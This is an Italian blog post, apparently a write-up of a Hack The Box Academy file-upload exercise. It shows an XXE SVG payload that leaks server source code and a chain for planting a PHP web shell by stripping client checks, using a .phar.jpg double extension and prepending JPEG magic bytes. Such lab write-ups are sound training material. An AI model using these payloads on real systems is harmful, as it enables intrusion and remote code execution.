Feb 13

F.u.A.

ho trovato una motivazione per essere felice/stimolato: ormai mi “drogo” con moduli su academy.hackthebox.com 🙂

vediamo l'”esame finale” di questo interessantissimo modulo.

obiettivo del gioco: accedere al flag sul filesystem di questo webserver:

la parte più interessante è chiaramente “Contact Us”:

iniziamo con le cose semplici, e vediamo come va a finire con un’immagine qualunque:

il file viene caricato con successo:

ma.. non sembra immediato capire “dove” sia andato a finire:

tentativi banali come /upload/nomefile, /uploads/nomefile, etc.. non hanno portato a nulla.

proviamo (tentativo disperato) ad uploadare una webshell in PHP. tra parentesi, sembra esserci un controllo client-side sui tipi di files ammessi:

che fa il paio con:

by the way, veniamo chiaramente inculati:

cerchiamo di indagare su quale sia lo script php che si “occupa” di fare l’upload, con l’inseparabile Burp:

vediamo se riusciamo a ottenere in chiaro il codice di upload.php tramite XXE.

creiamo un file .svg con questo contenuto:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

prima di farlo, tramite l’inspector del browser, togliamo di mezzo quei controlli, ossia:

onchange="checkFile(this)" accept=".jpg,.jpeg,.png"

carichiamo il file svg:

e godiamoci il risultato:

quel blocco encodato in base64 contiene il codice php del file upload.php.

# cat upload.php | base64 -d
<?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    displayHTMLImage($target_file);
} else {
    echo "File failed to upload";
}

la prima scoperta interessante è il path di dove vengono salvate le immagini:

$target_dir = "./user_feedback_submissions/";

nonché il come vengono rinominati i files:

$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName;

come controprova, verifichiamo con il nostro Mario kart di prima 🙂

CVD!

next, avendo in chiaro anche il meccanismo di blacklist E whitelist, possiamo fare dei test.

partiamo da una jpg “vera” qualsiasi (giusto per non rimettere mano all’inspector del browser per togliere i javascript 🙂

e intercettiamo l’upload:

proviamo a cambiare il nome del file e il contenuto dello stesso con una web shell semplicissima:

veniamo inculati:

ma noi questo lo sapevamo già, perché abbiamo triggerato la “blacklist” (il nostro file contiene “.php“)

if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();

la blacklist di cui sopra, tuttavia, consente di uploadare un file con estensione .phar che, può portare comunque ad esecuzione di codice PHP, se assumiamo che la conf del web server sia:

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

come si vede, l’errore è diverso: adesso abbiamo superato la blacklist, ma abbiamo triggerato la whitelist

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

la whitelist di cui sopra è fatta un po’ meglio della blacklist, perché consente solo i file il cui nome finisce con quella regexp (mentre la blacklist verifica solo se contiene o meno la regexp).

riproviamo dunque con pac.phar.jpg:

A questo punto non è chiaro al 100% se abbiamo superato la whitelist, perché l’errore, anche nella terza condizione, è sempre “Only images are allowed“:

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

tuttavia, grazie a questo link:

sembra che abbiamo bypassato la whitelist.

dobbiamo quindi superare il terzo controllo; dobbiamo presupporre che dopo l’upload venga effettuato un check sul tipo di file.

Dobbiamo quindi far creare al controllo lato-server che si tratti di una jpeg, anche se di fatto non lo è.

possiamo trovare un po’ ovunque i “magic bytes” per i vari tipi di file, es.

https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

nel nostro caso dobbiamo far sì che il contenuto esadecimale del nostro file inizi con:

ff d8 ff e0

grazie a hexedit, modifichiamo dunque l'”incipit” della webshell aggiungendo i bytes di cui sopra, ottenendo alla fine:

il comando file sembra darci ragione sul fatto che sia veramente una jpeg:

root@kaligra:/home/joshua/academy/file_upload_attacks# file webshell.phar.jpg
webshell.phar.jpg: JPEG image data

a questo punto, dopo aver avuto un’idea completa dei controlli lato client (javascript) e lato server (controlli tramite PHP), possiamo prendere il nostro file webshell.phar.jpg e uploadarlo indisturbati:

vediamo se è stato caricato correttamente:

mm, c’è qualcosa (non un errore “Not found” 🙂

a questo punto, possiamo interagire con la nostra webshell, passandogli il parametro cmd e il comando desiderato:

game over *

1 comment

1 Comment so far

  1. Occhialone February 14th, 2022 09:06

    Roba tosta stavolta, degna di Cookbook.

Leave a comment